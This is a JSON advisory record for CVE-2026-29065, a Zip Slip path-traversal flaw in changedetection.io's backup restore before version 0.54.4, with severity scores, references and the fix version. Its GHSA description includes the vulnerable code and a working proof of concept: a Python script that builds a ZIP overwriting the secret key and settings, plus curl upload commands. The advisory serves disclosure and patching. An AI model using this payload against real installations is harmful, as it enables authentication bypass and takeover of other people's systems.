{"id":"CVE-2026-29065","aliases":["CVE-2026-29065","GHSA-25g8-2mcf-fcx9","PYSEC-2026-2129"],"related":[],"kind":"vulnerability","state":"published","title":"changedetection.io: Zip Slip vulnerability in the backup restore functionality","summary":"changedetection.io is a free open source web page change detection tool. Prior to version 0.54.4, a Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. This issue has been patched in version 0.54.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"changedetection.io is a free open source web page change detection tool. Prior to version 0.54.4, a Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. This issue has been patched in version 0.54.4.","source":"cvelist"},{"lang":"en","text":"### Summary\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.\n\n### Details\n\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.\n\nVulnerable Code (lines 50-53):\n```\ndef restore_backup(self, filename):\n    with zipfile.ZipFile(filename, 'r') as zip_ref:\n        # VULNERABLE: No path validation before extraction\n        zip_ref.extractall(self.datastore_path)\n```\nThe extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.\n\n| Path in ZIP | Target File | Impact |\n| --- | --- | --- |\n| ../secret.txt | Flask secret key | Session forgery, auth bypass |\n| ../changedetection.json | App settings | Disable password, inject backdoor |\n| ../url-watches.json | Watch index | Inject malicious watches |\n| ../{uuid}/watch.json | Watch config | Modify any watch |\n\nAttacker uploads ZIP via the backup restore functionality at /backups/restore\nApplication extracts files without validation, writing attacker content to sensitive locations\n\n\n### PoC\n\nStep 1: Create Malicious ZIP\n```\nimport zipfile\nimport json\n\nwith zipfile.ZipFile(\"zipslip.zip\", \"w\") as zf:\n    # Escape extraction directory with ../\n    zf.writestr(\"../secret.txt\", \"ATTACKER-CONTROLLED-SECRET\")\n    \n    zf.writestr(\"../changedetection.json\", json.dumps({\n        \"settings\": {\"application\": {\"password\": \"\"}}\n    }))\n    \n    zf.writestr(\"../pwned-uuid-1234/watch.json\", json.dumps({\n        \"url\": \"https://attacker.com/zipslip-pwned\",\n        \"title\": \"🔴 ZIPSLIP-PROOF\"\n    }))\n```\nStep 2: Upload via Restore Endpoint\n\n```curl -X POST \"http://target:5000/backups/restore/start\" \\\n  -F \"zip_file=@zipslip.zip\" \\\n  -F \"include_watches=y\" \\\n  -F \"include_settings=y\" \n  ```\n\n###Step 3: Verify Path Traversal\n### Check if watch escaped to /datastore/\n###ls -la /datastore/\n### Look for: pwned-uuid-1234/\n\n### Verify in UI\n```curl \"http://target:5000/\" | grep \"ZIPSLIP\"```\n\n\n<img width=\"1920\" height=\"1080\" alt=\"f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM\" src=\"https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38\" />","format":"markdown","source":"ghsa"},{"lang":"es","text":"changedetection.io es una herramienta gratuita de código abierto para la detección de cambios en páginas web. Antes de la versión 0.54.4, una vulnerabilidad Zip Slip en la funcionalidad de restauración de copias de seguridad permite la sobrescritura arbitraria de archivos mediante salto de ruta en archivos ZIP subidos. Este problema ha sido parcheado en la versión 0.54.4.","source":"nvd"}],"published":"2026-03-04T21:28:42.000Z","modified":"2026-07-13T07:26:44.680Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 0.54.4","status":"affected"}],"vendor":"dgtlmoon","product":"changedetection.io","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.54.4"}],"ecosystem":"PyPI","package":"changedetection-io","purl":"pkg:pypi/changedetection-io","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.54.4"}],"vendor":"webtechnologies","product":"changedetection","cpe":"cpe:2.3:a:webtechnologies:changedetection:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.54.4"}],"ecosystem":"PyPI","package":"changedetection-io","purl":"pkg:pypi/changedetection-io","source":"pysec"}],"references":[{"url":"https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4","tags":["advisory","product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29065","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/dgtlmoon/changedetection.io","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-03-09T19:59:02.791Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-29065","url":"https://www.cve.org/CVERecord?id=CVE-2026-29065","licence":"CVE Terms of Use","modified":"2026-03-09T19:59:16.113Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-25g8-2mcf-fcx9","url":"https://github.com/advisories/GHSA-25g8-2mcf-fcx9","licence":"CC-BY-4.0","modified":"2026-07-13T07:26:44.680Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-29065","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29065","licence":"Public domain","modified":"2026-06-17T10:29:32.303Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2129","url":"https://osv.dev/vulnerability/PYSEC-2026-2129","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:17.069Z"}],"updatedAt":"2026-11-25T22:59:15.395Z","epss":{"score":0.00577,"percentile":0.48939,"date":"2026-12-01T12:00:22.000Z"}}